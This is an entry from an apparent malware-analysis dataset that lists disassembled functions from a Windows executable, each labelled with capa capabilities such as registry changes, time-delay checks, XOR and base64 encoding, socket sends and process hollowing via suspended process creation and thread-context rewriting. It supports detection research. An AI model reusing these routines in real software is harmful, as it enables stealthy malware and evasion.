joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e33
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x412fa4]
sub esp, 0x104
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x406ea4
call fcn.00406d3a
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.0040ef5b
pop ecx
lea eax, [ebp - 0x104]
pop ecx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x406e65
sub eax, edx
cmp eax, 3
jb 0x406e95
push ebx
push ebx
push ebx
push ebx
push 0x412fa4
push ebx
push ebx
lea eax, [ebp - 0x104]
push eax
mov byte [ebp - 0x101], bl
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x406e9f
mov dword [0x412fa4], 0x55555555
mov eax, dword [0x412fa4]
pop ebx
leave
ret

Function at 0x406ea7
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x358
push esi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x358]
push eax
or esi, 0xffffffff
mov dword [ebp - 4], 0x104
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x406f2f
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x358]
push eax
push 0
mov dword [ebp - 4], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x406f2f
cmp dword [ebp - 4], 0xc
jb 0x406f2c
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp + 8]
jne 0x406f2c
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x406f28
cmp dword [ebp - 4], 0x1c
jb 0x406f2c
cmp dword [ebp - 0x38], eax
jne 0x406f2c
xor esi, esi
jmp 0x406f2f
xor esi, esi
inc esi
mov eax, esi
pop esi
leave
ret

Function at 0x406f4e
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x412048]
sub esp, 0x10
push ebx
xor ebx, ebx
cmp eax, ebx
jge 0x406fcd
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], ebx
mov word [ebp - 0xc], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x406fb5
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x406fac
xor eax, eax
cmp dword [ebp - 4], ebx
sete al
mov dword [0x412048], eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [0x412048]
cmp eax, ebx
je 0x406fcd
push ebx
push 0x12
call fcn.00406ea7
pop ecx
pop ecx
mov dword [0x412048], eax
pop ebx
leave
ret
Function at 0x406fd0
Capabilities:
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
mov byte [esi], 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x4070b8
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406ffe
sub eax, edx
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x50]
push eax
push esi
push 0
mov dword [ebp + 8], 0x7c
mov dword [ebp - 8], 0x80
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x407096
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x4106a4
push eax
call fcn.0040ef5b
inc dword [ebp + 0xc]
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x50]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidA
test eax, eax
je 0x407096
mov eax, dword [ebp - 4]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x407068
sub eax, ecx
mov dword [ebp + 8], eax
inc eax
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
add eax, esi
push eax
call fcn.0040ee63
mov eax, dword [ebp + 8]
add dword [ebp + 0xc], eax
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
call fcn.00406f4e
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0x4106a0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
add dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
jmp 0x4070ba
xor eax, eax
pop esi
leave
ret
Function at 0x408115
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
mov dword [0x412cd4], ebx
mov dword [0x412cd0], ebx
call fcn.00406f34
test eax, eax
jne 0x408145
call fcn.00407f32
jmp 0x408271
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x134]
push eax
push ebx
push ebx
push 0x410264
call fcn.004070bd
add esp, 0x14
test eax, eax
jle 0x408271
cmp byte [ebp - 0x134], bl
je 0x408271
cmp byte [ebp - 0x30], bl
je 0x408271
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xb7
push 0xa9
push 0x2e
push 0x4106c0
mov edi, 0x412390
push edi
call fcn.0040254d
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408262
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x408243
cmp dword [ebp - 0xc], 1
jne 0x408243
cmp dword [ebp - 4], ebx
jbe 0x408243
push dword [ebp - 4]
call fcn.0040ec27
pop ecx
mov dword [0x412cd4], eax
cmp eax, ebx
je 0x408259
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 8]
call esi
test eax, eax
jne 0x408243
lea eax, [ebp - 0x134]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x408219
sub eax, edx
inc eax
push eax
call fcn.0040ec27
pop ecx
mov dword [0x412cd0], eax
cmp eax, ebx
je 0x408259
lea ecx, [ebp - 0x134]
push ecx
push eax
call fcn.0040ef5b
pop ecx
jmp 0x408258
mov eax, dword [0x412cd4]
cmp eax, ebx
je 0x408259
push eax
call fcn.0040ec89
mov dword [0x412cd4], ebx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push edi
call fcn.0040ee85
add esp, 0xc
cmp byte [0x412240], bl
je 0x4082b8
cmp dword [0x41223c], ebx
jne 0x4082b8
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x412240
call fcn.004067cd
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x4082b8
mov esi, dword [ebp - 0x10]
push ebx
push esi
push edi
call fcn.004024cb
push edi
mov dword [0x41236c], eax
mov dword [0x41223c], esi
call fcn.0040ec89
add esp, 0x10
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0x408d3a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword [0x413418], ebx
je 0x408dfa
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x413420]
cmp eax, 0xea60
jb 0x408dfa
push esi
push edi
mov edi, dword [0x413418]
movsx eax, byte [edi]
mov esi, dword [edi + 1]
add edi, 5
mov dword [ebp - 8], eax
test eax, eax
jle 0x408ded
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
mov cl, byte [eax]
cmp cl, 8
jne 0x408d99
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0040a67d
jmp 0x408dab
cmp cl, 9
jne 0x408db8
mov eax, esi
sar eax, cl
and eax, 1
push eax
call fcn.0040a68e
pop ecx
test eax, eax
je 0x408dcb
mov eax, dword [ebp - 4]
or esi, dword [eax + 1]
jmp 0x408dcb
movsx ecx, cl
mov eax, dword [ecx*4 + 0x413398]
test eax, eax
je 0x408dcb
cmp ecx, dword [eax + 0x34]
je 0x408dd7
add dword [ebp - 4], 5
inc ebx
cmp ebx, dword [ebp - 8]
jl 0x408d80
jmp 0x408ded
mov eax, dword [eax + 0x50]
test eax, eax
je 0x408ded
imul ebx, ebx, 5
mov cl, byte [ebx + edi]
sar esi, cl
and esi, 1
push esi
call eax
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
pop edi
mov dword [0x413420], eax
pop esi
pop ebx
leave
ret

Function at 0x408f9f
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
push edi
lea edi, [esi + eax]
mov dl, 0xc6
cmp esi, edi
jae 0x408fd0
push ebx
mov al, byte [esi]
movzx ecx, al
mov ebx, ecx
shr ebx, 3
shl cl, 5
or bl, cl
xor bl, dl
xor al, 0xc6
mov byte [esi], bl
inc esi
mov dl, al
cmp esi, edi
jb 0x408fb3
pop ebx
pop edi
pop esi
ret

Function at 0x40907c
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push esi
push edi
lea eax, [ebp - 0x404]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x404]
push eax
call fcn.004082c0
pop ecx
call fcn.0040ed00
push 9
pop esi
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040ed00
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040ed00
xor edx, edx
mov ecx, esi
div ecx
push edx
call fcn.0040ed00
xor edx, edx
div esi
lea eax, [ebp - 0x404]
mov esi, 0x412390
push edx
push eax
push 0xb7
push 0xa9
push 0xf
push 0x4107a4
push esi
call fcn.0040254d
add esp, 0x14
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
xor edi, edi
push edi
push esi
call fcn.0040ee85
add esp, 0x28
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, edi
jbe 0x409157
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
jmp 0x409159
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x40915d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x504
push esi
push edi
push 0x104
lea eax, [ebp - 0x104]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
push eax
call dword [sym.imp.USER32.dll_CharToOemA]
lea eax, [ebp - 0x104]
push eax
push eax
push 0xb7
push 0xa9
push 0x66
push 0x4107b8
mov esi, 0x412390
push esi
call fcn.0040254d
add esp, 0x14
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
push edi
push esi
call fcn.0040ee85
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.0040907c
add esp, 0x24
test eax, eax
je 0x4091ff
push edi
push edi
push edi
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
leave
ret

Function at 0x409203
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
cmp byte [edi], 0
mov dword [ebp - 4], 0x10
je 0x409320
push 0xd
push edi
call fcn.0040ed5e
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x409257
push 0xa
push edi
call fcn.0040ed5e
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
jne 0x409257
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40924b
sub eax, edx
lea ebx, [eax + edi]
mov esi, ebx
sub esi, edi
cmp esi, 0x200
jb 0x409268
mov esi, 0x1ff
push esi
lea eax, [ebp - 0x208]
push edi
push eax
call fcn.0040ee63
add esp, 0xc
mov byte [ebp + esi - 0x208], 0
cmp byte [ebp - 0x208], 0
je 0x4092f5
cmp byte [ebp - 0x208], 0x20
lea eax, [ebp - 0x208]
jne 0x4092b3
inc eax
cmp byte [eax], 0x20
je 0x409299
jmp 0x4092b3
cmp cl, 0x22
je 0x4092b2
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x4092a1
cmp cl, 0x22
jne 0x4092c0
inc eax
cmp byte [eax], 0x22
je 0x4092a6
jmp 0x4092c0
cmp byte [eax], 0x20
je 0x4092ca
inc eax
cmp byte [eax], 0
jne 0x4092ba
cmp byte [eax], 0x20
jne 0x4092d5
mov byte [eax], 0
inc eax
cmp byte [eax], 0x20
je 0x4092cd
jmp 0x4092d7
xor eax, eax
xor ecx, ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 8], eax
cmp eax, 0x2a
jne 0x409328
mov al, byte [ebx]
cmp al, 0xd
je 0x4092ff
cmp al, 0xa
jne 0x409302
inc ebx
jmp 0x4092f5
cmp byte [ebx], 0
mov edi, ebx
je 0x409314
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 4]
cmp byte [ebx], 0
jne 0x409226
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [ebp - 4]
or ecx, 0x54080100
mov dword [0x412218], ecx
mov dword [0x412214], eax
jmp 0x409323
Function at 0x409717
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x103
push 0
mov ebx, 0xb7
push ebx
lea edi, [ebx - 0xe]
push edi
push 0x2e
push 0x4106c0
mov esi, 0x412390
push esi
call fcn.0040254d
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40977d
push ebx
push edi
push 9
push 0x4106b4
push esi
call fcn.0040254d
add esp, 0x14
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push 0
push esi
call fcn.0040ee85
add esp, 0xc
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x409794
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.0040ee85
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 4
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x5c], 0x44
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4097da
xor eax, eax
jmp 0x40987c
push 0x2cc
lea eax, [ebp - 0x328]
push esi
push eax
call fcn.0040ee85
add esp, 0xc
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x328], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x409819
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4097d3
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
push entry0
call fcn.004063ed
add esp, 0x10
push esi
test eax, eax
je 0x40980e
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x284]
add eax, 8
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40980d
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x278], eax
lea eax, [ebp - 0x328]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x40980d
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x40a4cd
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
add esi, 0x5c
jmp 0x40a4fd
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0x40a506
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0x40a4ea
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x40a523
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.0040a4cd
cmp dword [esi + 0x50], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
pop ecx
jne 0x40a548
mov dword [ebp + 8], 0x1f4
jmp 0x40a563
call edi
sub eax, dword [esi + 0x50]
cmp eax, 1
jge 0x40a555
xor eax, eax
inc eax
mov ecx, 0x1f4
cmp eax, ecx
jle 0x40a560
mov eax, ecx
mov dword [ebp + 8], eax
call edi
mov ecx, dword [esi + 0x38]
mov dword [esi + 0x50], eax
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x40a57a
mov dword [esi + 0x38], eax
jmp 0x40a623
sub eax, ecx
imul eax, dword [ebp + 8]
cdq
mov edi, 0x3e8
idiv edi
push 0xa
pop edi
cdq
idiv edi
test eax, eax
je 0x40a596
add ecx, eax
jmp 0x40a5a1
cmp dword [ebp + 0xc], ecx
je 0x40a5a4
jge 0x40a5a0
dec ecx
jmp 0x40a5a1
inc ecx
mov dword [esi + 0x38], ecx
cmp dword [esi + 0x3c], 3
jle 0x40a623
mov eax, dword [esi + 0x18]
mov ecx, eax
sub ecx, dword [esi + 0x38]
mov edi, ecx
jns 0x40a5b8
xor edi, edi
push ebx
push 0xa
cdq
pop ebx
idiv ebx
cmp edi, eax
jle 0x40a622
imul ecx, ecx, 0xa
mov eax, ecx
mov dword [ebp - 4], eax
imul eax, dword [ebp + 8]
cdq
mov ebx, 0x3e8
idiv ebx
mov ecx, dword [esi + 0x14]
mov edi, dword [esi + 0x10]
imul ecx, ecx, 0x2710
imul edi, edi, 0x2710
push ecx
push edi
cdq
idiv dword [esi + 0x28]
add eax, dword [esi + 0x1c]
push eax
call fcn.0040a50b
mov ebx, eax
mov eax, dword [ebp - 4]
cdq
idiv dword [esi + 0x24]
push ecx
push edi
mov dword [esi + 0x1c], ebx
add eax, ebx
push eax
call fcn.0040a50b
add esp, 0x18
cdq
push 0xa
pop ecx
idiv ecx
mov ecx, 0x3e8
cdq
idiv ecx
mov dword [esi + 0x34], eax
pop ebx
inc dword [esi + 0x3c]
and dword [esi + 0x5c], 0
pop edi
pop esi
leave
ret
Function at 0x40a6d0
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
push ebx
xor ebx, ebx
xor edx, edx
mov dword [ebp + 0x10], ecx
cmp dword [ebp + 0xc], ebx
jle 0x40a79a
mov al, byte [ebp + 0xf]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
sub edi, 0
je 0x40a737
dec edi
je 0x40a71e
dec edi
jne 0x40a745
movzx edi, byte [esi]
movzx eax, al
shl eax, 2
shr edi, 6
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
movzx eax, byte [esi]
inc ecx
and eax, 0x3f
jmp 0x40a73d
movzx edi, byte [esi]
movzx eax, al
shl eax, 4
shr edi, 4
or edi, eax
and edi, 0x3f
mov al, byte [edi + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x40a743
movzx eax, byte [esi]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
lea eax, [edx + 1]
cdq
push 3
pop edi
idiv edi
mov al, byte [esi]
inc ecx
inc esi
inc ebx
cmp ebx, dword [ebp + 0xc]
jl 0x40a6ef
pop edi
pop esi
test edx, edx
jle 0x40a79a
movzx eax, al
cmp edx, 1
jne 0x40a774
and eax, 3
shl eax, 4
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp 0x40a77e
and eax, 0xf
mov al, byte [eax*4 + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ecx], al
inc ecx
sub edx, 0
je 0x40a78e
dec edx
je 0x40a792
dec edx
je 0x40a796
jmp 0x40a79a
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
mov byte [ecx], 0x3d
inc ecx
lea eax, [ecx + 1]
sub eax, dword [ebp + 0x10]
mov word [ecx], 0xa0d
inc eax
pop ebx
pop ebp
ret
Function at 0x40c7aa
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
test byte [0x413728], 1
push ebx
push esi
push edi
mov esi, 0x100000
jne 0x40c7d1
or dword [0x413728], 1
push esi
call fcn.0040ec27
pop ecx
mov dword [0x413724], eax
test byte [0x413728], 2
jne 0x40c7ed
or dword [0x413728], 2
push esi
call fcn.0040ec27
pop ecx
mov dword [0x413720], eax
push 0x19
push dword [ebp + 0x1c]
push dword [0x413720]
call fcn.0040ee63
mov eax, dword [0x413720]
mov ebx, dword [ebp + 0x18]
add esp, 0xc
lea edi, [eax + 0xc]
mov esi, eax
mov byte [edi], 0
cmp ebx, 0x800
jle 0x40c849
mov ecx, dword [ebp + 0xc]
test byte [ecx + 0x8c], 1
je 0x40c849
push dword [0x413724]
add eax, 0x19
push ebx
push eax
push dword [ebp + 0x14]
mov byte [edi], 2
call fcn.004022c2
add esp, 0x10
test eax, eax
jg 0x40c845
xor eax, eax
jmp 0x40c8a6
mov dword [esi], eax
jmp 0x40c85b
push ebx
push dword [ebp + 0x14]
add eax, 0x19
push eax
call fcn.0040ee63
add esp, 0xc
mov dword [esi], ebx
mov eax, dword [0x413720]
push 0
push dword [esi]
add eax, 0x19
push eax
mov dword [esi + 4], ebx
call fcn.004024cb
or byte [edi], 1
mov dword [esi + 8], eax
mov esi, dword [esi]
add esi, 0x19
push esi
push dword [0x413720]
push dword [ebp + 0x10]
call fcn.00409026
add esp, 0x18
push 0
push esi
push dword [0x413720]
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
sub eax, esi
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40dc75
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x104
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40dcdb
lea ecx, [ebp + eax - 0x104]
cmp byte [ecx - 1], 0x5c
je 0x40dcb1
mov byte [ecx], 0x5c
lea ecx, [ebp + eax - 0x103]
mov byte [ecx], 0
push dword [ebp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push 0
push 1
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
leave
ret
or eax, 0xffffffff
leave
ret

Function at 0x40ddd3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, eax
mov edi, 0x41374c
jmp 0x40de0f
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [0x413750]
je 0x40de21
call ebx
sub eax, ebp
cmp eax, 0x2710
jae 0x40de1a
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push edi
call esi
test eax, eax
jne 0x40ddee
jmp 0x40de21
and dword [0x413754], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
inc dword [0x413754]
pop edi
pop esi
pop ebp
mov dword [0x413750], eax
pop ebx
ret

Function at 0x40e164
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
xor esi, esi
push esi
lea eax, [ebp - 0xc]
push eax
push esi
push 0x20106
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40e241
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e19b
push ebx
sub eax, ecx
push edi
mov edi, eax
mov dword [ebp - 4], esi
cmp edi, 0x1c
jle 0x40e1b3
push 0x1c
pop edi
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040ee63
mov ebx, dword [ebp + 0x18]
add esp, 0xc
cmp ebx, esi
jle 0x40e20e
mov esi, 0xff000
cmp ebx, esi
jge 0x40e1d5
mov esi, ebx
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0040f248
add esp, 0xc
push esi
push dword [ebp - 8]
lea eax, [ebp - 0x2c]
push 3
push 0
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40e20c
add dword [ebp - 8], esi
sub ebx, esi
inc dword [ebp - 4]
test ebx, ebx
jg 0x40e1ca
xor esi, esi
push 0xa
lea eax, [ebp + edi - 0x2c]
push eax
push dword [ebp - 4]
call fcn.0040f248
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp ebx, esi
pop edi
sete al
pop ebx
jmp 0x40e243
xor eax, eax
pop esi
leave
ret